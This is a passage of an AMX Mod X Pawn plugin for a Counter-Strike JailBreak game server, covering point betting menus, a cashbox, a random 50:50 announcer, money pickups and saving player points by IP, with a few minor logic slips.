	menu_item_getinfo(bet_menu, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
	get_user_name(id, iName, 31)
 	switch(Key)
	{
		case 1,2:
		{
			if(!bet_pointed_out[id])
			{
				new bet_menuct
				formatex(Item, 63, "\r[\w BeatTheB Jail \r]\y Bet about \w%s", Key == 1 ? "Counter-Terrorist" : "Terrorist")
 				if(Key == 1)	bet_menuct = menu_create(Item, "sub_MainMenuBetCT")
				else		bet_menuct = menu_create(Item, "sub_MainMenuBetT")
 				menu_additem(bet_menuct, "\yBet about \w10\y points", "1")
				menu_additem(bet_menuct, "\yBet about \w20\y points", "2")
				menu_additem(bet_menuct, "\yBet about \w30\y points", "3")
				menu_additem(bet_menuct, "\yBet about \w40\y points", "4")
				menu_additem(bet_menuct, "\yBet about \w50\y points", "5")
 				menu_display(id, bet_menuct)
			}
			else
				ColorChat(id, "You have bet it this round")
		}
		case 3:
		{
			new bet_info = menu_create("\r[\w BeatTheB Jail \r]\y Betting Information", "sub_InfoBet")
 			new players[32], pnum
			new szName[32], szTempid[10]
 			get_players(players, pnum)
 			for(new i; i<pnum; i++)
			{
				if(!is_user_connected(players[i]) || !bet_pointed_out[players[i]] || bet_some[players[i]] == 0)
					continue
				get_user_name(players[i], szName, 31)
				num_to_str(players[i], szTempid, 9)
				formatex(Item, charsmax(Item), "\y%s\w Betting %d to %s", szName, bet_some[players[i]], bet_team[players[i]] == 1 ? "Counter-Terrorist" : "Terrorist")
				menu_additem(bet_info, Item, szTempid)
			}
			menu_display(id, bet_info)
		}
		case 4:
		{
			if(serverpoints > 1) {
				playerpoints[id] += serverpoints
				ColorChat(0, "^3%s^4 Taken all The Points that were CashBox^1(%i)", iName, serverpoints)
				serverpoints = 0
			} else {
				ColorChat(id, "^4CashBox have no points")
				MainMenuBet(id)
			}
		}
		case 5:
		{
			new players[32], pnum
			get_players(players, pnum)
 			for(new i; i<pnum; i++) {
				bet_pointed_out[players[i]] = false
				bet_some[players[i]] = 0
			}
			serverpoints = 0
			ColorChat(0, "^4%s^4 RESET all Bettings and CashBox!", iName)
		}
	}
}
 public sub_MainMenuBetCT(id, bet_menuct, item)
{
	if(item == MENU_EXIT) {
		MainMenuBet(id)
		return
	}
	new Data[7], Name[64], iName[32], Access, Callback
	menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
	get_user_name(id, iName, 31)
	bet_team[id] = 1 // CT
 	switch(Key)
	{
		case 1:
		{
			if(playerpoints[id] < 10) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 10
				playerpoints[id] -= 10
				serverpoints += 10
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
			}
		}
		case 2:
		{
			if(playerpoints[id] < 20) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 20
				playerpoints[id] -= 20
				serverpoints += 20
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
			}
		}
		case 3:
		{
			if(playerpoints[id] < 30) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 30
				playerpoints[id] -= 30
				serverpoints += 30
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
			}
		}
		case 4:
		{
			if(playerpoints[id] < 40) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 40
				playerpoints[id] -= 40
				serverpoints += 40
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
			}
		}
		case 5:
		{
			if(playerpoints[id] < 50) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 50
				playerpoints[id] -= 50
				serverpoints += 50
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 50 ^4points to ^3Counter-Terrorist", iName, playerpoints[id])
			}
		}
	}
}
 public sub_MainMenuBetT(id, bet_menuct, item)
{
	if(item == MENU_EXIT)
	{
		MainMenuBet(id)
		return
	}
	new Data[7], Name[64], iName[32], Access, Callback
	menu_item_getinfo(bet_menuct, item, Access, Data,5, Name, 63, Callback)
 	new Key = str_to_num(Data)
	get_user_name(id, iName, 31)
	bet_team[id] = 2 // T
 	switch(Key)
	{
		case 1:
		{
			if(playerpoints[id] < 10) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 10
				playerpoints[id] -= 10
				serverpoints += 10
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
			}
		}
		case 2:
		{
			if(playerpoints[id] < 20) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 20
				playerpoints[id] -= 20
				serverpoints += 20
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 20 ^4points to ^3Terrorist", iName, playerpoints[id])
			}
		}
		case 3:
		{
			if(playerpoints[id] < 30) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 30
				playerpoints[id] -= 30
				serverpoints += 30
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 30 ^4points to ^3Terrorist", iName, playerpoints[id])
			}
		}
		case 4:
		{
			if(playerpoints[id] < 40) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 40
				playerpoints[id] -= 40
				serverpoints += 40
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 40 ^4points to ^3Terrorist", iName, playerpoints[id])
			}
		}
		case 5:
		{
			if(playerpoints[id] < 50) {
				ColorChat(id, "^4you dont have enough points")
				MainMenuBet(id)
			} else {
				bet_some[id] = 50
				playerpoints[id] -= 50
				serverpoints += 50
				bet_pointed_out[id] = true
				ColorChat(0, "^4%s^1(%i) ^4betting about^3 10 ^4points to ^3Terrorist", iName, playerpoints[id])
			}
		}
	}
}
 public sub_InfoBet(id, bet_info, item)
{
	if(item == MENU_EXIT)
	{
		MainMenuBet(id)
		return
	}
	new data[6], iName[64]
	new _access, callback
	menu_item_getinfo(bet_info, item, _access, data,5, iName, 63, callback)
 	new tempid = str_to_num(data)
	new szName[32]
	get_user_name(tempid, szName, 31)
	MainMenuBet(id)
	ColorChat(id, "%s^1(%i) ^4Betting ^3%d^4 Points to ^3%s", szName, playerpoints[tempid], bet_some[tempid], bet_team[tempid] == 1 ? "Counter-Terrorist" : "Terrorist")
	menu_destroy(bet_info)
}
 public MenuCallbackBet(id)
	return (get_user_flags(id) & ADMIN_CVAR) ? ITEM_ENABLED : ITEM_DISABLED
 public Action50(id)
{
	if(!get_cvar_num("bet_enable"))
		ColorChat(id, "bet^4 is not enabled")
	else if(get_user_flags(id) & ADMIN_CVAR)
	{
		new name[32]
		get_user_name(id, name, 31)
 		if(task_exists(4444))
			remove_task(4444)
 		set_task(5.0, "sub_Action50")
		timer = 5
		ShowFiveSeconds(id)
		set_task(1.0,"ShowFiveSeconds",id,"",0,"a",4)
		client_cmd(0, "spk ^"vox/five^"")
		Show_Choose = 1
		set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
		show_hudmessage(0, "The 50:50 will started in 5 seccond^nBy %s", name)
	} else
			ColorChat(id, "^4You have no access to this")
}
 public sub_Action50()
{
	switch(random_num(1,10))
	{
		case 1,2,3,5,7,9: { // 40 : 60
			Show_Choose = 2
			set_hudmessage(255, 0, 0, -1.0, 0.42, 0, 10.0, 10.0)
			client_cmd(0, "spk ^"Extreme-Jail/5050_no.wav^"")
		}
		case 4,6,8,10: { // 60 : 40
			Show_Choose = 1
			set_hudmessage(0, 0, 255, -1.0, 0.42, 0, 10.0, 10.0)
			client_cmd(0, "spk ^"Extreme-Jail/5050_yes.wav^"")
		}
	}
	show_hudmessage(0, "The 50:50 Choose %s", Show_Choose == 1 ? "Yes" : "No")
	Show_Choose = 0
}
 public EventSpray( )
{
	new iPlayer = read_data(2), iOrigin[3]
	iOrigin[0] = read_data(3)
	iOrigin[1] = read_data(4)
	iOrigin[2] = read_data(5)
	new Float:vecOrigin[3]
	IVecFVec(iOrigin, vecOrigin)
 	new Float:vecDirection[3]
	velocity_by_aim(iPlayer, 5, vecDirection)
 	new Float:vecStop[3]
	xs_vec_add(vecOrigin, vecDirection, vecStop)
	xs_vec_mul_scalar(vecDirection, -1.0, vecDirection)
	new Float:vecStart[3]
	xs_vec_add( vecOrigin, vecDirection, vecStart)
	engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
	get_tr2(0, TR_vecPlaneNormal, vecDirection)
	vecDirection[2] = 0.0
	xs_vec_normalize( vecDirection, vecDirection)
	xs_vec_mul_scalar( vecDirection, 5.0, vecDirection)
	xs_vec_add(vecOrigin, vecDirection, vecStart)
	xs_vec_copy(vecStart, vecStop)
	vecStop[2] -= 9999.0
	engfunc(EngFunc_TraceLine, vecStart, vecStop, IGNORE_MONSTERS, -1, 0)
	get_tr2(0, TR_vecEndPos, vecStop)
	new szName[32]
	get_user_name(iPlayer, szName, charsmax( szName))
	if(g_iSprayMessages)
		ColorChat(0, "^4%s sprayed^4 %.1f units^1 above the^3 ground", szName, (vecStart[2] - vecStop[2]))
	else
		ColorChat(iPlayer, "You have sprayed^4 %.1f units^1 above the^3 ground", (vecStart[2] - vecStop[2]))
 }
 public ShowFiveSeconds(id)
{
	new SecVoice[21], name[33]
	num_to_word(timer, SecVoice, 20)
 	client_cmd(0, "spk ^"vox/%s seconds^"", SecVoice)
	get_user_name(id, name, 32)
	set_hudmessage(0, 255, 0, -1.0, 0.42, 0, 0.5, 0.5)
	if(Show_Choose > 0)
		show_hudmessage(0, "The 50:50 will started in %d seccond^nBy %s", timer, name)
	else
		show_hudmessage(0, "The First writes will started in %d seccond^nBy %s", timer, name)
	timer--
}
/* ---------------------------------------------------
* ------------------ TASKS -------------------------*/
public advert180() {
	set_dhudmessage(0, 255, 255, -1.0, 0.25, 2, 6.0, 3.0, 0.1, 1.5)
	show_dhudmessage(0, "BeatTheB JailBreak # Game-Serv.Co.iL")
	client_cmd(0, "echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^";echo ^"BeatTheB JailBreak # Game-Serv.Co.iL^"")
}
public advert150()	ColorChat(0, "^x04Roze server^x04 | ^x01Skype:haim.gameserv^x01 | ^x04Telephone:0542027038^x04 | ^x01Tkashro ahshav^x01!!!")
 public make_money(id,Float:velo[]) {
	new Float:origin[3]
	new Float:angles[3]
	new Float:mins[3] = {-2.79, -0.0, -6.14}
	new Float:maxs[3] = {2.42, 1.99, 6.35}
	new newent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString,"info_target"))
 	if(!is_user_alive(id)) {
		velo[0] = random_float(1.0,150.0)
		velo[1] = random_float(1.0,150.0)
		velo[2] = random_float(1.0,150.0)
	} else 
		velo[2] += 100
	pev(newent,pev_angles,angles)
	angles[1] += random_num(1,360)
	pev(id,pev_origin,origin)
	set_pev(newent, pev_origin, origin)
	set_pev(newent, pev_classname, "pdm_money")
	engfunc(EngFunc_SetModel, newent, model)
	engfunc(EngFunc_SetSize,newent,mins,maxs)
	set_pev(newent,pev_angles,angles)
	set_pev(newent, pev_solid, SOLID_TRIGGER)
	set_pev(newent,pev_movetype,MOVETYPE_TOSS)
	set_pev(newent, pev_velocity,velo)
	engfunc(EngFunc_DropToFloor,newent)
 	moneybox[newent]=2
	return FMRES_IGNORED
}
 public player_Touch(touched, toucher) { 
 	if(pev_valid(touched) && is_user_alive(toucher) && can_pickup[toucher])
	{
		new classname[32]
		pev(touched, pev_classname, classname, sizeof classname - 1)
		if(equali(classname, "pdm_money")) {
			playerpoints[toucher] += moneybox[touched]
			client_cmd(toucher,"spk %s",money_sound1)
			if(pev_valid(touched))
				engfunc(EngFunc_RemoveEntity,touched)
			screen_fade(toucher)
		}
	}
	return FMRES_IGNORED
}
 public screen_fade(id) {
	message_begin(MSG_ONE, g_MsgScreenFade, {0,0,0}, id)
	write_short(1<<12)
	write_short(1<<12)
	write_short(1<<12)
	write_byte(0)
	write_byte(200)
	write_byte(0)
	write_byte(20)
	message_end()
}
 public EventStatusValue(const id) {
	new iType = read_data(1), iData = read_data(2)
	switch(iType) {
		case 1: g_bFriend = bool:(iData == 1)
		case 2: {
			new szMessage[99]
			formatex(szMessage, 98, g_bFriend ? "1 %%c1: %%p2 - %%h: %%i3%%%% - points: %i%s" : "1 %%c1: %%p2 - points: %i%s", playerpoints[iData], is_user_admin(iData) ? " (VIP)" : "")
 			message_begin(MSG_ONE_UNRELIABLE, g_iMsgStatusText, _, id)
			write_byte(0)
			write_string(szMessage)
			message_end()
		}
	}
}
/* ---------------------------------------------------
* ------------------ STOCK --------------------------*/
stock SaveData(index)
{
	if(playerpoints[index] <= 1500) {
		gVault = nvault_open("JailBreak-Wows_shop")
 		if(gVault == INVALID_HANDLE)
			set_fail_state("[ BeatTheB Jail ] nValut ERROR: =-> Invalid-Handle")
		new gIP[33]
		get_user_ip(index, gIP, 32)
 		formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
 		formatex(vData, charsmax(vData), "%d", playerpoints[index])
		nvault_set(gVault, vKey, vData)
		nvault_close(gVault)
	} else {
		gVault = nvault_open("JailBreak-Wows_shop")
 		if(gVault == INVALID_HANDLE)
			set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
		new gIP[33]
		get_user_ip(index, gIP, 32)
 		formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
 		formatex(vData, charsmax(vData), "1500")
		nvault_set(gVault, vKey, vData)
		nvault_close(gVault)
	}
}
 stock LoadData(index)
{
	gVault = nvault_open("JailBreak-Wows_shop")
 	if(gVault == INVALID_HANDLE)
		set_fail_state("[ BeatTheB-Jail ] nValut ERROR: =-> Invalid-Handle")
	new gIP[33]
	get_user_ip(index, gIP, 32)
 	formatex(vKey, charsmax(vKey), "%sPOINTS", gIP)
	playerpoints[index] = nvault_get(gVault, vKey)
	nvault_close(gVault)
}
 stock Punch_View(id, Float:ViewAngle[3])
	entity_set_vector(id, EV_VEC_punchangle, ViewAngle)
public RemoveCam(id) {
	cs_reset_user_model(id)
	ColorChat(id, "You're ^3Model^4 is now reset.")
}
public RemoveSpeed(id) {
	ResetMaxspeed(id)
	ColorChat(id, "You're ^3Speed^4 is now normal.")
}
public RemoveGravity(id) {
	entity_set_float(id, EV_FL_gravity, 1.0)
	ColorChat(id, "You're ^3Gravity^4 is now normal.")
}
public RemoveStealth(id) {
	fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 255)
	ColorChat(id, "You are now^3 visible.")
}
public RemoveGodmode(id) {
	fm_set_user_godmode(id)
	ColorChat(id, "You're ^3Godmode^4 is now 0.")
}
public RemoveNoclip(id) {
	fm_set_user_noclip(id)
	ColorChat(id, "You're ^3Noclip^4 is now 0.")
}
public RemoveFootsteps(id) {
	footstep[id] = false
	ColorChat(id, "Now Hear your ^3footsteps^1.")
}
public ShowSong(id)	client_cmd(id, "spk ^"Extreme-Jail/JB_Connect.wav^"" );
public spksecond()	client_cmd(0, "spk ^"vox/seconds^"")
public reset_pick(id)	can_pickup[id] = true
public _ShowDelay(id)	--send_delay[id]
 stock ColorChat(index, const Msg[], {Float, Sql, Result,_}:...) {
	new Buffer[190], Buffer2[192]
	formatex(Buffer2, sizeof(Buffer2)-1, "^3[^1 BeatTheB Jail ^3]^1 %s", Msg)
	vformat(Buffer, sizeof(Buffer)-1, Buffer2, 3)
	if(!index) {
		for (new i = 1; i <= g_max_clients; i++) {
			if(!is_user_connected(i))	continue
			message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, i)
			write_byte(i)
			write_string(Buffer)
			message_end()
		}
	} else {
		if(!is_user_connected(index))	return
		message_begin(MSG_ONE_UNRELIABLE, g_iMsgSayText,_, index)
		write_byte(index)
		write_string(Buffer)
		message_end()
	}
}
 print_message(id, msg[]) {
	message_begin(MSG_ONE, g_iMsgSayText, {0,0,0}, id)
	write_byte(id)
	write_string(msg)
	message_end()
}

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